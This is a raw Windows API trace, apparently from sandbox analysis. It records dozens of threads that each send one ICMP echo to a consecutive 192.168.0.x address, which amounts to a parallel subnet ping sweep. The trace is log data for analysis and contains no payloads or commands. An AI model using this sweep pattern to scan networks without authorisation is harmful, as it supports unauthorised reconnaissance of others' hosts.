	[0193.287] IcmpSendEcho (in: IcmpHandle=0x552cd0, DestinationAddress=0x7900a8c0, RequestData=0x1272fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1272fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1272fd60) returned 0x1
	[0224.372] IcmpCloseHandle (IcmpHandle=0x552cd0) returned 1
	[0224.373] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x564cf0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1252
	os_tid = 0x1934

	[0192.606] GetLastError () returned 0x57
	[0192.606] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5650c0
	[0192.607] SetLastError (dwErrCode=0x57) 
	[0192.607] IcmpCreateFile () returned 0x552d20
	[0193.289] IcmpSendEcho (in: IcmpHandle=0x552d20, DestinationAddress=0x7a00a8c0, RequestData=0x1241fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1241fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1241fd60) returned 0x1
	[0224.119] IcmpCloseHandle (IcmpHandle=0x552d20) returned 1
	[0224.120] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5650c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1253
	os_tid = 0x1938

	[0192.607] GetLastError () returned 0x57
	[0192.607] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x565490
	[0192.608] SetLastError (dwErrCode=0x57) 
	[0192.608] IcmpCreateFile () returned 0x552d70
	[0193.290] IcmpSendEcho (in: IcmpHandle=0x552d70, DestinationAddress=0x7b00a8c0, RequestData=0x1282fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1282fc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1282fc00) returned 0x1
	[0223.776] IcmpCloseHandle (IcmpHandle=0x552d70) returned 1
	[0223.776] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x565490 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1254
	os_tid = 0x193c

	[0192.609] GetLastError () returned 0x57
	[0192.609] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x565860
	[0192.609] SetLastError (dwErrCode=0x57) 
	[0192.609] IcmpCreateFile () returned 0x552dc0
	[0193.291] IcmpSendEcho (in: IcmpHandle=0x552dc0, DestinationAddress=0x7c00a8c0, RequestData=0x12aafcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12aafce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12aafce0) returned 0x1
	[0223.475] IcmpCloseHandle (IcmpHandle=0x552dc0) returned 1
	[0223.475] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x565860 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1255
	os_tid = 0x1940

	[0192.611] GetLastError () returned 0x57
	[0192.611] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x565c30
	[0192.611] SetLastError (dwErrCode=0x57) 
	[0192.611] IcmpCreateFile () returned 0x566e70
	[0193.293] IcmpSendEcho (in: IcmpHandle=0x566e70, DestinationAddress=0x7d00a8c0, RequestData=0x12bbfd20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12bbfd40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12bbfd40) returned 0x1
	[0223.102] IcmpCloseHandle (IcmpHandle=0x566e70) returned 1
	[0223.103] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x565c30 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1256
	os_tid = 0x1944

	[0192.614] GetLastError () returned 0x57
	[0192.614] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x566000
	[0192.614] SetLastError (dwErrCode=0x57) 
	[0192.614] IcmpCreateFile () returned 0x566ec0
	[0193.294] IcmpSendEcho (in: IcmpHandle=0x566ec0, DestinationAddress=0x7e00a8c0, RequestData=0x12ccf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12ccf7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12ccf7e0) returned 0x1
	[0219.846] IcmpCloseHandle (IcmpHandle=0x566ec0) returned 1
	[0219.847] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x566000 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1257
	os_tid = 0x1948

	[0192.615] GetLastError () returned 0x57
	[0192.615] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5663d0
	[0192.616] SetLastError (dwErrCode=0x57) 
	[0192.616] IcmpCreateFile () returned 0x566f10
	[0193.296] IcmpSendEcho (in: IcmpHandle=0x566f10, DestinationAddress=0x7f00a8c0, RequestData=0x1294f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1294f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1294f880) returned 0x1
	[0218.747] IcmpCloseHandle (IcmpHandle=0x566f10) returned 1
	[0218.748] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5663d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1258
	os_tid = 0x194c

	[0192.616] GetLastError () returned 0x57
	[0192.616] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5667a0
	[0192.617] SetLastError (dwErrCode=0x57) 
	[0192.617] IcmpCreateFile () returned 0x566f60
	[0193.297] IcmpSendEcho (in: IcmpHandle=0x566f60, DestinationAddress=0x8000a8c0, RequestData=0x12f2fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12f2fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12f2fd20) returned 0x1
	[0217.927] IcmpCloseHandle (IcmpHandle=0x566f60) returned 1
	[0217.928] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5667a0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1259
	os_tid = 0x1950

	[0192.619] GetLastError () returned 0x57
	[0192.619] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x56fe70
	[0192.621] SetLastError (dwErrCode=0x57) 
	[0192.621] IcmpCreateFile () returned 0x566fb0
	[0193.302] IcmpSendEcho (in: IcmpHandle=0x566fb0, DestinationAddress=0x8100a8c0, RequestData=0x130dfec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x130dfee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x130dfee0) returned 0x1
	[0217.360] IcmpCloseHandle (IcmpHandle=0x566fb0) returned 1
	[0217.360] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x56fe70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1260
	os_tid = 0x1954

	[0192.621] GetLastError () returned 0x57
	[0192.621] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x570240
	[0192.622] SetLastError (dwErrCode=0x57) 
	[0192.622] IcmpCreateFile () returned 0x567000
	[0193.304] IcmpSendEcho (in: IcmpHandle=0x567000, DestinationAddress=0x8200a8c0, RequestData=0x131efc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x131efca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x131efca0) returned 0x1
	[0216.404] IcmpCloseHandle (IcmpHandle=0x567000) returned 1
	[0216.405] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x570240 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1261
	os_tid = 0x1958

	[0192.622] GetLastError () returned 0x57
	[0192.623] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x570610
	[0192.623] SetLastError (dwErrCode=0x57) 
	[0192.623] IcmpCreateFile () returned 0x567050
	[0193.306] IcmpSendEcho (in: IcmpHandle=0x567050, DestinationAddress=0x8300a8c0, RequestData=0x1337f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1337f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1337f940) returned 0x1
	[0215.447] IcmpCloseHandle (IcmpHandle=0x567050) returned 1
	[0215.447] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x570610 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1262
	os_tid = 0x195c

	[0192.770] GetLastError () returned 0x57
	[0192.770] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5709e0
	[0192.770] SetLastError (dwErrCode=0x57) 
	[0192.770] IcmpCreateFile () returned 0x5670a0
	[0193.307] IcmpSendEcho (in: IcmpHandle=0x5670a0, DestinationAddress=0x8400a8c0, RequestData=0x1350fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1350fe60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1350fe60) returned 0x1
	[0213.094] IcmpCloseHandle (IcmpHandle=0x5670a0) returned 1
	[0213.094] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5709e0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1273
	os_tid = 0x1988

	[0192.771] GetLastError () returned 0x57
	[0192.771] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x570db0
	[0192.771] SetLastError (dwErrCode=0x57) 
	[0192.771] IcmpCreateFile () returned 0x5670f0
	[0193.308] IcmpSendEcho (in: IcmpHandle=0x5670f0, DestinationAddress=0x8500a8c0, RequestData=0x136dfca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x136dfcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x136dfcc0) returned 0x1
	[0212.676] IcmpCloseHandle (IcmpHandle=0x5670f0) returned 1
	[0212.677] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x570db0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1274
	os_tid = 0x198c

	[0192.772] GetLastError () returned 0x57
	[0192.772] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x571180
	[0192.772] SetLastError (dwErrCode=0x57) 
	[0192.772] IcmpCreateFile () returned 0x567140
	[0193.310] IcmpSendEcho (in: IcmpHandle=0x567140, DestinationAddress=0x8600a8c0, RequestData=0x1392f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1392f740, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1392f740) returned 0x1
	[0212.006] IcmpCloseHandle (IcmpHandle=0x567140) returned 1
	[0212.006] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x571180 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1275
	os_tid = 0x1990

	[0192.773] GetLastError () returned 0x57
	[0192.773] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x571550
	[0192.773] SetLastError (dwErrCode=0x57) 
	[0192.774] IcmpCreateFile () returned 0x567190
	[0193.311] IcmpSendEcho (in: IcmpHandle=0x567190, DestinationAddress=0x8700a8c0, RequestData=0x13a9fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13a9fca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13a9fca0) returned 0x1
	[0211.320] IcmpCloseHandle (IcmpHandle=0x567190) returned 1
	[0211.320] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x571550 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1276
	os_tid = 0x1994

	[0192.774] GetLastError () returned 0x57
	[0192.774] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x571920
	[0192.775] SetLastError (dwErrCode=0x57) 
	[0192.775] IcmpCreateFile () returned 0x5671e0
	[0193.312] IcmpSendEcho (in: IcmpHandle=0x5671e0, DestinationAddress=0x8800a8c0, RequestData=0x13bef8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13bef8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13bef8c0) returned 0x1
	[0210.947] IcmpCloseHandle (IcmpHandle=0x5671e0) returned 1
	[0210.948] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x571920 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1277
	os_tid = 0x1998

	[0192.775] GetLastError () returned 0x57
	[0192.775] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x571cf0
	[0192.776] SetLastError (dwErrCode=0x57) 
	[0192.776] IcmpCreateFile () returned 0x567230
	[0193.314] IcmpSendEcho (in: IcmpHandle=0x567230, DestinationAddress=0x8900a8c0, RequestData=0x137efe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x137efea0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x137efea0) returned 0x1
	[0210.677] IcmpCloseHandle (IcmpHandle=0x567230) returned 1
	[0210.677] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x571cf0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1278
	os_tid = 0x199c

	[0192.776] GetLastError () returned 0x57
	[0192.776] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5720c0
	[0192.777] SetLastError (dwErrCode=0x57) 
	[0192.777] IcmpCreateFile () returned 0x567280
	[0193.315] IcmpSendEcho (in: IcmpHandle=0x567280, DestinationAddress=0x8a00a8c0, RequestData=0x13dff780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13dff7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13dff7a0) returned 0x1
	[0210.276] IcmpCloseHandle (IcmpHandle=0x567280) returned 1
	[0210.276] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5720c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1279
	os_tid = 0x19a0

	[0192.777] GetLastError () returned 0x57
	[0192.778] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x572490
	[0192.778] SetLastError (dwErrCode=0x57) 
	[0192.778] IcmpCreateFile () returned 0x5672d0
	[0193.316] IcmpSendEcho (in: IcmpHandle=0x5672d0, DestinationAddress=0x8b00a8c0, RequestData=0x13f0fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13f0fca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13f0fca0) returned 0x1
	[0210.146] IcmpCloseHandle (IcmpHandle=0x5672d0) returned 1
	[0210.147] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x572490 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1280
	os_tid = 0x19a4

	[0192.779] GetLastError () returned 0x57
	[0192.780] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x572860
	[0192.780] SetLastError (dwErrCode=0x57) 
	[0192.780] IcmpCreateFile () returned 0x567320
	[0193.318] IcmpSendEcho (in: IcmpHandle=0x567320, DestinationAddress=0x8c00a8c0, RequestData=0x140dfca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x140dfcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x140dfcc0) returned 0x1
	[0209.718] IcmpCloseHandle (IcmpHandle=0x567320) returned 1
	[0209.718] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x572860 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1281
	os_tid = 0x19a8

	[0192.781] GetLastError () returned 0x57
	[0192.781] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x572c30
	[0192.781] SetLastError (dwErrCode=0x57) 
	[0192.781] IcmpCreateFile () returned 0x567370
	[0193.319] IcmpSendEcho (in: IcmpHandle=0x567370, DestinationAddress=0x8d00a8c0, RequestData=0x1261fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1261fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1261fd00) returned 0x1
	[0209.123] IcmpCloseHandle (IcmpHandle=0x567370) returned 1
	[0209.123] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x572c30 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1282
	os_tid = 0x19ac

	[0192.782] GetLastError () returned 0x57
	[0192.782] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x573000
	[0192.782] SetLastError (dwErrCode=0x57) 
	[0192.782] IcmpCreateFile () returned 0x5673c0
	[0193.321] IcmpSendEcho (in: IcmpHandle=0x5673c0, DestinationAddress=0x8e00a8c0, RequestData=0x1432f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1432f860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1432f860) returned 0x1
	[0208.387] IcmpCloseHandle (IcmpHandle=0x5673c0) returned 1
	[0208.387] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x573000 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1283
	os_tid = 0x19b0

	[0192.783] GetLastError () returned 0x57
	[0192.783] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5733d0
	[0192.784] SetLastError (dwErrCode=0x57) 
	[0192.784] IcmpCreateFile () returned 0x567410
	[0193.322] IcmpSendEcho (in: IcmpHandle=0x567410, DestinationAddress=0x8f00a8c0, RequestData=0x1445f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1445f940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1445f940) returned 0x1
	[0207.715] IcmpCloseHandle (IcmpHandle=0x567410) returned 1
	[0207.715] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5733d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1284
	os_tid = 0x19b4

	[0192.784] GetLastError () returned 0x57
	[0192.784] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5737a0
	[0192.785] SetLastError (dwErrCode=0x57) 
	[0192.785] IcmpCreateFile () returned 0x567460
	[0193.324] IcmpSendEcho (in: IcmpHandle=0x567460, DestinationAddress=0x9000a8c0, RequestData=0x1460fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1460fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1460fd60) returned 0x1
	[0206.962] IcmpCloseHandle (IcmpHandle=0x567460) returned 1
	[0206.963] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5737a0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1285
	os_tid = 0x19b8

	[0192.785] GetLastError () returned 0x57
	[0192.786] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x574ba0
	[0192.788] SetLastError (dwErrCode=0x57) 
	[0192.788] IcmpCreateFile () returned 0x5674b0
	[0193.325] IcmpSendEcho (in: IcmpHandle=0x5674b0, DestinationAddress=0x9100a8c0, RequestData=0x12e2f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12e2fa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x12e2fa00) returned 0x1
	[0206.501] IcmpCloseHandle (IcmpHandle=0x5674b0) returned 1
	[0206.501] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x574ba0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1286
	os_tid = 0x19bc

	[0192.789] GetLastError () returned 0x57
	[0192.789] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x574f70
	[0192.790] SetLastError (dwErrCode=0x57) 
	[0192.790] IcmpCreateFile () returned 0x567500
	[0193.327] IcmpSendEcho (in: IcmpHandle=0x567500, DestinationAddress=0x9200a8c0, RequestData=0x1478fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1478fcc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1478fcc0) returned 0x1
	[0206.100] IcmpCloseHandle (IcmpHandle=0x567500) returned 1
	[0206.101] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x574f70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1287
	os_tid = 0x19c0

	[0192.791] GetLastError () returned 0x57
	[0192.791] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x575340
	[0192.791] SetLastError (dwErrCode=0x57) 
	[0192.791] IcmpCreateFile () returned 0x567550
	[0193.328] IcmpSendEcho (in: IcmpHandle=0x567550, DestinationAddress=0x9300a8c0, RequestData=0x148cfcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x148cfce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x148cfce0) returned 0x1
	[0205.337] IcmpCloseHandle (IcmpHandle=0x567550) returned 1
	[0205.338] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x575340 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1298
	os_tid = 0x19c4

	[0193.027] GetLastError () returned 0x57
	[0193.028] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x575710
	[0193.028] SetLastError (dwErrCode=0x57) 
	[0193.028] IcmpCreateFile () returned 0x5675a0
	[0193.330] IcmpSendEcho (in: IcmpHandle=0x5675a0, DestinationAddress=0x9400a8c0, RequestData=0x14acfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14acfc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14acfc80) returned 0x1
	[0204.467] IcmpCloseHandle (IcmpHandle=0x5675a0) returned 1
	[0204.468] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x575710 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1299
	os_tid = 0x19f4

	[0193.029] GetLastError () returned 0x57
	[0193.029] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x575ae0
	[0193.029] SetLastError (dwErrCode=0x57) 
	[0193.029] IcmpCreateFile () returned 0x5675f0
	[0193.331] IcmpSendEcho (in: IcmpHandle=0x5675f0, DestinationAddress=0x9500a8c0, RequestData=0x14cdf9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14cdf9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14cdf9e0) returned 0x1
	[0203.807] IcmpCloseHandle (IcmpHandle=0x5675f0) returned 1
	[0203.807] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x575ae0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1300
	os_tid = 0x19f8

	[0193.030] GetLastError () returned 0x57
	[0193.030] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x575eb0
	[0193.030] SetLastError (dwErrCode=0x57) 
	[0193.030] IcmpCreateFile () returned 0x567640
	[0193.333] IcmpSendEcho (in: IcmpHandle=0x567640, DestinationAddress=0x9600a8c0, RequestData=0x14ecfe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14ecfe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14ecfe20) returned 0x1
	[0202.683] IcmpCloseHandle (IcmpHandle=0x567640) returned 1
	[0202.684] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x575eb0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1301
	os_tid = 0x19fc

	[0193.031] GetLastError () returned 0x57
	[0193.031] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x576280
	[0193.031] SetLastError (dwErrCode=0x57) 
	[0193.032] IcmpCreateFile () returned 0x567690
	[0193.334] IcmpSendEcho (in: IcmpHandle=0x567690, DestinationAddress=0x9700a8c0, RequestData=0x1509fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1509fce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1509fce0) returned 0x1
	[0201.757] IcmpCloseHandle (IcmpHandle=0x567690) returned 1
	[0201.758] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x576280 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1302
	os_tid = 0x1a00

	[0193.032] GetLastError () returned 0x57
	[0193.032] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x576650
	[0193.033] SetLastError (dwErrCode=0x57) 
	[0193.033] IcmpCreateFile () returned 0x5676e0
	[0193.336] IcmpSendEcho (in: IcmpHandle=0x5676e0, DestinationAddress=0x9800a8c0, RequestData=0x152af7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x152af7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x152af7e0) returned 0x1
	[0200.731] IcmpCloseHandle (IcmpHandle=0x5676e0) returned 1
	[0200.732] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x576650 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1303
	os_tid = 0x1a04

	[0193.033] GetLastError () returned 0x57
	[0193.033] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x576a20
	[0193.035] SetLastError (dwErrCode=0x57) 
	[0193.035] IcmpCreateFile () returned 0x567730
	[0193.337] IcmpSendEcho (in: IcmpHandle=0x567730, DestinationAddress=0x9900a8c0, RequestData=0x141dfdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x141dfde0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x141dfde0) returned 0x1
	[0199.648] IcmpCloseHandle (IcmpHandle=0x567730) returned 1
	[0199.649] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x576a20 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1304
	os_tid = 0x1a08

	[0193.035] GetLastError () returned 0x57
	[0193.036] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x576df0
	[0193.036] SetLastError (dwErrCode=0x57) 
	[0193.036] IcmpCreateFile () returned 0x567780
	[0193.339] IcmpSendEcho (in: IcmpHandle=0x567780, DestinationAddress=0x9a00a8c0, RequestData=0x153bfcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x153bfce0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x153bfce0) returned 0x1
	[0198.951] IcmpCloseHandle (IcmpHandle=0x567780) returned 1
	[0198.951] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x576df0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1305
	os_tid = 0x1a0c

	[0193.037] GetLastError () returned 0x57
	[0193.037] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5771c0
	[0193.037] SetLastError (dwErrCode=0x57) 
	[0193.037] IcmpCreateFile () returned 0x5677d0
	[0193.340] IcmpSendEcho (in: IcmpHandle=0x5677d0, DestinationAddress=0x9b00a8c0, RequestData=0x149cf8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x149cf8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x149cf8e0) returned 0x1
	[0198.350] IcmpCloseHandle (IcmpHandle=0x5677d0) returned 1
	[0198.350] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5771c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1306
	os_tid = 0x1a10

	[0193.038] GetLastError () returned 0x57
	[0193.038] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x577590
	[0193.039] SetLastError (dwErrCode=0x57) 
	[0193.039] IcmpCreateFile () returned 0x567820
	[0193.342] IcmpSendEcho (in: IcmpHandle=0x567820, DestinationAddress=0x9c00a8c0, RequestData=0x1551fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1551fda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1551fda0) returned 0x1
	[0198.038] IcmpCloseHandle (IcmpHandle=0x567820) returned 1
	[0198.039] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x577590 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1307
	os_tid = 0x1a14

	[0193.039] GetLastError () returned 0x57
	[0193.039] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x577960
	[0193.040] SetLastError (dwErrCode=0x57) 
	[0193.040] IcmpCreateFile () returned 0x567870
	[0193.343] IcmpSendEcho (in: IcmpHandle=0x567870, DestinationAddress=0x9d00a8c0, RequestData=0x1565fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1565fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1565fb00) returned 0x1
	[0197.333] IcmpCloseHandle (IcmpHandle=0x567870) returned 1
	[0197.334] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x577960 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1308
	os_tid = 0x1a18

	[0193.042] GetLastError () returned 0x57
